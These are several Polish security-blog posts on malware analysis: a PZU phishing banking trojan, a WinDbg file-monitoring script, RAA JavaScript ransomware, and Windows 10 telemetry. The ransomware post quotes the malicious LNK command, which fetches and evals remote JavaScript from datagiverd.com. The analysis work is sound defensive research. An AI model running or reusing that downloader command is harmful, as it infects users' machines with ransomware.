poniedziałek, 25 lipca 2016

Scenariusz ataku na klientów bankowości internetowej polskiego banku


W piątek po południu wielu użytkowników Internetu w Polsce dostało wiadomości email z informacją o niezapłaconym rachunku. Można o tym przeczytać między innymi na tej stronie [1]. Była to wiadomość rzekomo pochodząca z działu windykacji firmy PZU. Co oczywiście nie jest prawdą. 
Oto treść wiadomości (wiadomość zawiera błąd – infomacje zamiast informacje):
Posiadasz nieopłacony rachunek na kwotę XXXX PLN. Data płatności do 23-07-2016.

Rozliczenie i infomacje o zadłużeniu dostępne w załączniku.



Kliknij tutaj, aby zobaczyć fakturę.

Pozdrawiamy, PZU.

Link prowadził do serwera, z którego pobierany był plik wykonywalny SCR ze złośliwym oprogramowaniem lub plik javascript, który po uruchomieniu również pobierał ten sam plik wykonywalny. Następnie użytkownik jest przekierowany na stronę pzu.pl.
Fragment pliku JS:



Sekwencja połączeń z adresami URL:

Po uruchomieniu pliku wykonywalnego złośliwe oprogramowanie łączy się do serwera, który zwraca publiczny adres IP zainfekowanego komputera. Następnie następuje połączenie do serwera ertenemi.com. Co ciekawe ten serwer w piątek nie był dostępny. Nie był też dostępny w sobotę. Dopiero w dniu dzisiejszym (niedziela) został włączony.

Gdy zwrócił prawidłową odpowiedź good!, złośliwe oprogramowanie zmodyfikowało ustawienia przeglądarki internetowej (IE/Firefox) wstawiając skrypt konfiguracyjny. Poniżej przykład dla przeglądarki Internet Explorer. 

Oto zawartość skryptu:

 
Możemy zauważyć, że gdy użytkownik łączy na serwery w domenie *pko.pl następuje przekierowanie na serwery proxy o adresie IP 128.199.166.142.

Od tej pory połączenie do banku jest kontrolowane przez intruzów. Połączenie będzie szyfrowane - certyfikat jest podpisany przez GeoTrust Inc CA. Więcej na ten temat można przeczytaj tutaj [2]. Zazwyczaj po zalogowaniu dostajemy informację o przerwie w działaniu usług bankowych lub wyświetlana jest ikona wskazująca że trwa logowanie. Następnie może pojawić się prośba o podanie hasła jednorazowego lub wiadomości SMS, którą dostaniemy na telefon.

Jak sprawdzić czy jesteśmy zainfekowani:
1. Obecność skryptu x.vbs w Startup/Autostart (c:\users\<username>\appdata\roaming\microsoft\windows\start menu\programs\startup\x.vbs).
Przykładowy widok, gdy jesteśmy zainfekowany:
Przykładowy widok, gdy nie jesteśmy zainfekowany:


2. Ustawienia przeglądarki (Internet Options -> zakładka Connections -> Lan Settings -> pole Use automatic configuration script. Gdy jesteśmy zainfekowany pojawi się ten adres:

3. Certyfikat przy nawiązanym połączeniu z PKO BP, mimo że jest zaufany to wystawiony na organizację PKOBP w Orlando, Floryda, US.


Informacje techniczne


Plik wykonywalny ma mała wykrywalność gdyż główna cześć malware jest zakodowana i znajduje się w sekcji resources pliku PE. 

Po załadowaniu tego zasobu jest on odszyfrowywany za pomocą RC4. Również nazwy funkcji API są kodowane XOR a następnie wywoływane z adresów umieszczonych na stosie:



 
Adresy URL serwerów są kodowane base64:

Źródła:
[1]  https://niebezpiecznik.pl/post/uwaga-na-falszywe-faktury-od-pzu/
[2] https://zaufanatrzeciastrona.pl/post/nie-pomoze-zielona-klodka-ten-kon-trojanski-tak-podmieni-strone-banku-ze-nie-zauwazysz/




wtorek, 19 lipca 2016

Monitorowanie plików za pomocą skryptu windbg

W ramach naszych wpisów edukacyjnych związanych z analizą złośliwego oprogramowania dzisiaj o skryptach w windows debugger.

O monitorowaniu funkcji API pisaliśmy już kilka razy. Tym razem pokażemy, jak w prosty sposób można monitorować aktywność procesów (dotyczącą tworzenia czy kasowania plików) z użyciem windbg oraz języka skryptowego. Skorzystamy z przykładu, który zamieszczony jest w książce „Practical Reverse Engineering” i przeznaczony jest dla architektury 32 bitowej. My rozbudujemy go o obsługę aplikacji 64 bitowych. Omawiany skrypt umieściliśmy na github.

Skrypt będzie wyświetlał nazwę funkcji API oraz nazwę pliku.

Budowa skryptu jest bardzo prosta. Komenda bp oznacza breakpoint. Następnie podajemy nazwę biblioteki oraz nazwę funkcji API na której ustawiamy breakpoint warunkowy. Ustawiamy następujące parametry: nazwę funkcji API, informację czy funkcja jest w wersji ASCII czy Unicode oraz numer argumentu na stosie (po weryfikacji w MSDN wszystkie funkcje w pierwszym argumencie przekazują nazwę pliku). Poniżej przykład:

bp kernelbase!CreateFileA @"$$>a<${$arg0} CreateFileA 0 1";
bp kernelbase!CreateFileW @"$$>a<${$arg0} CreateFileW 1 1";
...

Dla systemu 32 bitowego wszystkie argumenty funkcji są przekazywane przez stos. Można zauważyć, że pobieramy zawartość wskazywaną przez adres (wskaźnik) do csp + 4 * (numer argumentu).  CSP to current call stack pointer (może to być zarówno esp – dla 32 bitowej architektury lub rps – dla 64 bitowej architektury). 4 * (numer argumentu czyli w naszych funkcjach API = 1), gdyż w momencie zatrzymania na stosie jest już umieszczony adres powrotu do funkcji wywołującej.

r $t1 = poi(@$csp + 4 * ${$arg3});

W przypadku systemu 64 bitowego cztery pierwsze argumenty są przekazywane za pomocą kolejnych rejestrów RCX, RDX, R8 oraz R9. Tutaj wystarczy gdy pobierzemy zawartość pierwszego rejestru RCX.

r $t1 = rcx;

Aby skrypt obsługiwał jednocześnie 32 i 64 bitową wersję aplikacji musimy wykrywać pod jaką architekturą jest uruchamiany. Pamiętajmy, że instalowane są dwie wersje Debugging Tools for Windows (dla aplikacji 32 i 64 bitowych) więc moglibyśmy przygotować dwa oddzielne skrypty.
Za pomocą komendy .effmach wyświetlimy aktualny tryb pracy. Wynik zapisujemy w aliasie korzystając z .foreach, które świetnie się nadaje do „wyciągania” informacji z wyniku wywołanej komendy. Następnie w zależności o wykrytej architektury (spat służy do porównania ciągów znaków) wykonamy jedną z dwóch komend (podanych powyżej) związaną z pobraniem nazwy pliku i zapisaniem jej do jednego z pseudo-rejestru ($t1).

.foreach /pS 2 (token {.effmach}); { aS CurrentArch ${token};};

.if $spat(@"${CurrentArch}", "*x86*") == 1
{
 r $t1 = poi(@$csp + 4 * ${$arg3});
}
.else
{
 r $t1 = rcx;
}

Ostatni fragment to wyświetlenie za pomocą .printf zawartości pseudo-rejestru w zależności od formatu (ASCII/Unicode).

Pozostaje nam tylko po podłączeniu się do monitorowanego procesu wywołać skrypt za pomocą komendy:

$$>a<E:\file_activity.wds init;g;

środa, 13 lipca 2016

Złośliwe oprogramowanie w JavaScript


Nie tak dawno opisywaliśmy prosty sposób na szyfrowanie plików exe pobieranych przez sieć za pomocą javascript [2].

Okazuje się, że nie trzeba było długo czekać na realne ataki, które stosują podobną technikę. Co więcej złośliwe oprogramowanie (ransomware o nazwie RAA) napisane jest w całości w javascript a zakodowany plik exe jest tylko opcjonalnym komponentem.

Plik infekujący rozsyłany jest jako załącznik do wiadomości email. Plik „podszywający się” pod dokument doc jest skrótem LNK. 



Jeśli podejrzymy właściwości pliku okaże się, że pole target zawiera następującą komendę:

% windir % \system32\ cmd.exe / c REM. > n.js & echo 
var m = ["Msxml2.ServerXMLHTTP.6.0", "GET", "http://datagiverd.com/src/gate.php?a", "open", "send", "responseText"];
var bb = new ActiveXObject(m[0]);
bb[m[3]](m[1], m[2], false);
bb[m[4]]();
eval(bb[m[5]]); > n.js & n.js

Jej celem jest utworzenie i uruchomienie w katalogu TEMP pliku javascript o nazwie n.js.

W pliku lnk znajduje się też bardzo duży binary ciąg danych (od offsetu 2111). Nasza analiza nie wykazała, aby ten fragment był przydatny - możliwe, że celem jest wyłącznie "oszukanie" systemów AV.


Po uruchomieniu plik n.js pobiera kolejne skrypty (część z nich jest zaszyfrowanych). Istotnym elementem pobieranych danych jest biblioteka javascript cryptojs która posiada między innymi funkcje kryptograficzne AES:

Fragment odpowiadający za szyfrowanie plików:


Fragment, który dodaje skrypt n.js do punktu autostart:


Wyłączana jest również usługa Volume Shadow Copy (VSS):


Więcej inforamcji na temat działania poszczególnych elementów js dostępny jest tutaj [1].

Ostatnim elementem jest odkodowanie i uruchomienie pliku EXE – złośliwego oprogramowania wykradającego dane uwierzytelniające. Poniżej fragment odszyfrowanego kodu odpowiadającego za odkodowanie i uruchomienie pliku malware kk.exe.


Źródła:
 

poniedziałek, 11 lipca 2016

Wstęp do telemetrii w Windows 10


Dzisiaj krótki wpis, który nie do końca pasuje do tematyki prezentowanej na tej stronie.

Jeden z ostatnich projektów polegał na identyfikacji wszystkich danych telemetrycznych, które są przesyłane do serwerów firmy Microsoft z systemu operacyjnego Windows 10. 

Okazało się, że nie wszystkie informacje są wystarczająco szczegółowo opisane przez producenta. Nie będziemy tutaj omawiali wszystkich wyników. Zajmiemy się jedynie jednym z miejsc w którym są zapisywane a następnie przesyłane dane telemetryczne. Jednocześnie zachęcamy do zapoznania się z dokumentem „Manage connections from Windows operating system components to Microsoft Services” [1], który opisuje jakie typy danych są rejestrowane i jak skonfigurować system aby włączać/wyłączać ich rejestrowanie.

Opisane poniżej dane pochodzą z systemu na którym włączone są wybrane funkcje związane z telemetrią. Można wyłączyć ich rejestrowanie za pomocą opcji z GUI, Group Policy czy bezpośrednio z rejestrów.

Według definicji telemetria to pomiar i przesyłanie wartości pomiarowych na odległość. Przykłady użycia zbieranych danych przez Microsoft opisane są tutaj [2]. Usługa która realizuje funkcje telemetryczne w Windows 10 to DiagTrack (pełna nazwa to Connected User Experiences and Telemetry). 

Usługa ta uruchamiana jest za pomocą komendy svchost.exe –k utcsvc, dlatego nazywana jest również Universal Telemetry Client (UTC). 

Po identyfikacji procesu odpowiedzialnego za tą usługę można zauważyć (poniższy zrzut z ekranu) że proces ten co 15 minut wysyła dane a następnie zapisuje coś do plików events*.rbs (jest to wynik działania wewnętrznej funkcji Flush).



Biblioteką która odpowiada za rejestrację zdarzeń telemetrycznych jest diagtrack.dll. My mieliśmy okazję analizować dwie, wydaje się, najbardziej popularne w organizacjach wersje 10.0.10240.16724 (Windows 10 Enterprise LTSB) oraz 10.0.10586.162 (Windows 10 Enterprise). W obu przypadkach są to wersje 64 bitowe.

Funkcja która zapisuje zdarzenia do bufora, a następnie do wspomnianych powyżej plików to Microsoft::Diagnostics::CAsimovEventBuffer::AddEvent().

Plik events* są zaszyfrowane ale rejestrując argumenty funkcji AddEvent jesteśmy w stanie podejrzeć zdarzenia.

Poniżej komenda windbg, która będzie wyświetlała poszczególne zdarzenia (dla Windows 10 Enterprise LTBS). Dla wersji Enterprise warto monitorować wywoływaną dwa razy funkcję append().

bp diagtrack!Microsoft::Diagnostics::CAsimovEventBuffer::AddEvent ".printf \"%ma \n\",poi(rdx); gc;"

Poniżej kilka fragmentów danych które zostały zarejestrowane przy włączonej funkcji Zezwalaj na telemetrię (3 – pełne).

{"ver":"2.1","name":"Win32kTraceLogging.AppInteractivity","time":"2016-07-11T20:06:33.2945831Z","epoch":"1627466","seqNum":117,"flags":257,"os":"Windows","osVer":"10.0.10240.16942.amd64fre.*","appId":"W:*!dwm.exe","appVer":"2015/07/10:03:16:23!ed1f!dwm.exe","ext":{"device":{"localId":"s:*","deviceClass":"Windows.Desktop"},"user":{"localId":"w:*"},"utc":{"cat":*,"flags":0}},"data":{"FocusState":1,"AppId":"W:*!iexplore.exe","AppVersion":"2015/11/25:04:09:48!cf1f8!iexplore.exe","AppSessionId":"*","FocusDurationMS":100032,"WindowWidth":800,"WindowHeight":600,"MonitorWidth":1024,"MonitorHeight":768,"MonitorFlags":0,"WindowFlags":16,"CommandLineHash":1218101422,"EventSequence":99}}

{"ver":"2.1","name":"Microsoft.Windows.Shell.CortanaSearch.CortanaApp_UploadCommonSignals",…","InputSec":6,"KeyboardInputSec":0,"MouseInputSec":6,"TouchInputSec":0,"PenInputSec":0,"HidInputSec":0,"WindowWidth":1101,"WindowHeight":673,"MonitorWidth":1920,"MonitorHeight":1080,"MonitorFlags":24,"WindowFlags":48,"InteractiveTimeoutPeriodMS":60000
deviceMake":"VMware, Inc.","deviceModel":"VMware Virtual Platform","isDeviceTouch":0,"deviceSku":"","clientMarket":"pl-PL","networkType":"ethernet"

Dodatkowo po włączeniu funkcji dostępnej w ustawieniach prywatności: Mowa, pismo odręczne i wypisywanie tekstu (Poznaj mnie lepiej) możemy zidentyfikować adresy URL, nawigację po załadownej stronie Internetowej czy czas spędzony na każdej stronie.

{"ver":"2.1","name":"Microsoft.Windows.App.Browser.OneBoxAddressbarChanged","time":"2016-06-07T10:53:57.5403989Z","epoch":"2101664","seqNum":826,"flags":257,"os":"Windows","osVer":"10.0.10586.318.amd64fre.*","appId":"U:Microsoft.MicrosoftEdge_25.10586.0.0…","oneboxSettingsEnabled":1,"oneboxAddressBarInputString":"wikipedia."


{"ver":"2.1","name":"Microsoft.Windows.App.Browser.OneBoxAutocompleted","time":"2016-06-07T10:53:57.5930153Z"…","topResult":"http://www.prevenity.com/","…


{"ver":"2.1","name":"Microsoft.Windows.App.Browser.HJ_NavigateElementClicked","…,"domElementPath":"A|0||addthis_button_facebook_like;DIV|1||addthis_toolbox;DIV|0||facebook_like_contener;DIV|2||facebook_like;DIV|1||box3_faceMain","domElementContent":"","href":"","hrefRejectCode":107,"isPrerenderedTab":0,...

Powyżej pokazaliśmy tylko niewielką próbkę zarejestrowanych danych. Przypominamy, że dane te są rejestrowane przy włączonych funkcjach telemetrycznych opisanych powyżej.

Źródła: